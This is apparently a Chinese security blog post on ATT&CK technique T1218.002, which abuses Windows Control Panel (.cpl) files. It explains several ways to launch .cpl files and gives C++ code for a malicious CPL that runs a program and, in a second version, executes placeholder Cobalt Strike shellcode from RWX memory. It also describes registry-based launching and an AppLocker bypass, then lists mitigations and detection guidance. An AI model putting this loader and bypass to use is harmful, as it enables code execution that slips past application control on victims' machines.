前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >T1218.002 Control Panel滥用

T1218.002 Control Panel滥用

作者头像
黑白天安全
发布2021-09-28 15:50:39
8460
发布2021-09-28 15:50:39
举报

cpl文件

CPL文件,是Windows控制面板扩展项,CPL全拼为Control Panel Item在system32目录下有一系列的cpl文件,分别对应着各种控制面板的子选项

例如:

inetcpl.cpl,IE设置

joy.cpl,游戏控制器设置

mmsys.cpl,声音与音频设置

intl.cpl,区域与语言设置

ncpa.cpl,网络连接

netsetup.cpl,网络安装向导

nusrmgr.cpl,用户帐户

odbccp32.cpl,ODBC数据源管理器

wscui.cpl,Windows安全中心

wuaucpl.cpl,自动更新配置

igfxcpl.cpl,Intel集成显卡设置

nvcpl.cpl,nVidia显卡设置(NVIDIA控制面板)

access.cpl,辅助功能选项

appwiz.cpl,添加或删除程序

desk.cpl,显示属性

firewall.cpl,防火墙设置

hdwwiz.cpl,添加硬件向导

sysdm.cpl 我的电脑右键属性

cpl文件本质是属于PE文件

但cpl并不像exe,更像是dll,无法直接打开,只能以加载的形式运行。并且有一个导出函数CPlApplet该函数是控制面板应用程序的入口点,它被控制面板管理程序自动调用,且是个回调函数。

如何打开cpl

1.双击或者win+r xxx.cpl 2.control <文件名> 3.rundll32 shell32.dll,Control_RunDLL <文件名>

注意:

所有rundll32 shell32.dll,Control_RunDLL的命令均可用control替代,control.exe实质调用了rundll32.exe。打开后找不到control.exe进程,只能找到rundll32.exe。

4.vbs脚本

Dim obj Set obj = CreateObject("Shell.Application") obj.ControlPanelItem("C:\Users\11793\Desktop\cpl.cpl")

5.js脚本

var a = new ActiveXObject("Shell.Application"); a.ControlPanelItem("C:\\Users\\11793\\Desktop\\cpl.cpl");

创建一个CPL文件

最简单的方式:直接创建一个dll,无需导出函数,然后改后缀名

BOOL APIENTRY DllMain( HMODULE hModule,                        
                                         DWORD  ul_reason_for_call,                        
                                         LPVOID lpReserved                      )
{    
        switch (ul_reason_for_call)    
             {    
                       case DLL_PROCESS_ATTACH:        
                       WinExec("Calc.exe", SW_SHOW);    
                       case DLL_THREAD_ATTACH:    
                       case DLL_THREAD_DETACH:    
                       case DLL_PROCESS_DETACH:        
                                break;     }    
                                return TRUE; 
}

同样我们也可以加载CS的shellcode

#include "pch.h"
#include "windows.h"


extern "C" __declspec(dllexport) VOID CPlApplet(HWND hwndCPl, UINT msg, LPARAM lParam1, LPARAM lParam2)
{    
              MessageBoxA(0, NULL, "test", MB_OK);    
              /* length: 835 bytes */    
              unsigned char buf[] = "shellcode";  
              LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);    
               memcpy(Memory, buf, sizeof(buf));    
               ((void(*)())Memory)();
}
BOOL APIENTRY DllMain( HMODULE hModule,
                                         DWORD  ul_reason_for_call,
                                         LPVOID lpReserved                    
                                   )
{    
            switch (ul_reason_for_call)
           {
           case DLL_PROCESS_ATTACH:
           case DLL_THREAD_ATTACH:
           case DLL_THREAD_DETACH:
           case DLL_PROCESS_DETACH:
                   break;
            }    
            return TRUE;
}

将其注册到HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls

启动control.exe,就可以执行我们的cpl

bypass Windows AppLocker

AppLocker即“应用程序控制策略”,是Windows 7系统中新增加的一项安全功能。在win7以上的系统中默认都集成了该功能。

默认的Applocker规则集合,可以看到cpl并不在默认规则中:

缓解措施

M1038

执行预防 在适当的情况下,使用应用程序控制工具(如 Windows Defender 应用程序控制、AppLocker、或软件限制策略)识别和阻止潜在的恶意和未知 .cpl 文件。

M1022

限制文件和目录权限 将控制面板项目的存储和执行限制在受保护的目录中,例如C:\Windows,而不是用户目录。

检测

涉及与CPL文件,如CONTROL.EXE和相关项目监测和分析活动Control_RunDLL,并ControlRunDLLAsUser在shell32.dll中的API函数。

当从命令行执行或单击时,control.exe 将control.exe file.cpl在Rundll32用于调用 CPL 的 API 函数(例如:)之前执行 CPL 文件(例如:)rundll32.exe shell32.dll,Control_RunDLL file.cpl。

CPL 文件可以通过 CPL API 函数直接执行,只需使用后面的Rundll32命令,这可能会绕过 control.exe 的检测和/或执行过滤器。

用于定位系统上存在的未注册和潜在恶意文件的库存控制面板项目:

  • 可执行格式注册控制面板项将具有全局唯一标识符(GUID)和在注册的注册表项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace和HKEY_CLASSES_ROOT\CLSID{{GUID}}。这些条目可能包含有关控制面板项目的信息,例如其显示名称、本地文件的路径以及在控制面板中打开时执行的命令。
  • 存储在 System32 目录中的 CPL 格式注册的控制面板项目会自动显示在控制面板中。其他控制面板项目将在CPLs和 的Extended Properties注册表项中有注册条目HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Control Panel。这些条目可能包括诸如 GUID、本地文件路径和用于以编程方式 ( WinExec("c:\windows\system32\control.exe {{Canonical_Name}}", SW_NORMAL);) 或从命令行 ( control.exe /name {{Canonical_Name}})启动文件的规范名称等信息。
  • 某些控制面板项可通过注册的 Shell 扩展进行扩展,HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Controls Folder{{name}}\Shellex\PropertySheetHandlers其中 {{name}} 是系统项的预定义名称。

分析新的控制面板项目以及磁盘上存在的恶意内容。可执行文件和 CPL 格式都是兼容的可移植可执行文件 (PE) 图像,可以使用传统工具和方法进行检查,

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-09-14,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑白天实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • cpl文件
    • 例如:
    • 如何打开cpl
      • 1.双击或者win+r xxx.cpl 2.control <文件名> 3.rundll32 shell32.dll,Control_RunDLL <文件名>
        • 4.vbs脚本
          • 5.js脚本
          • 创建一个CPL文件
          • bypass Windows AppLocker
            • M1038
              • M1022
              • 检测
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档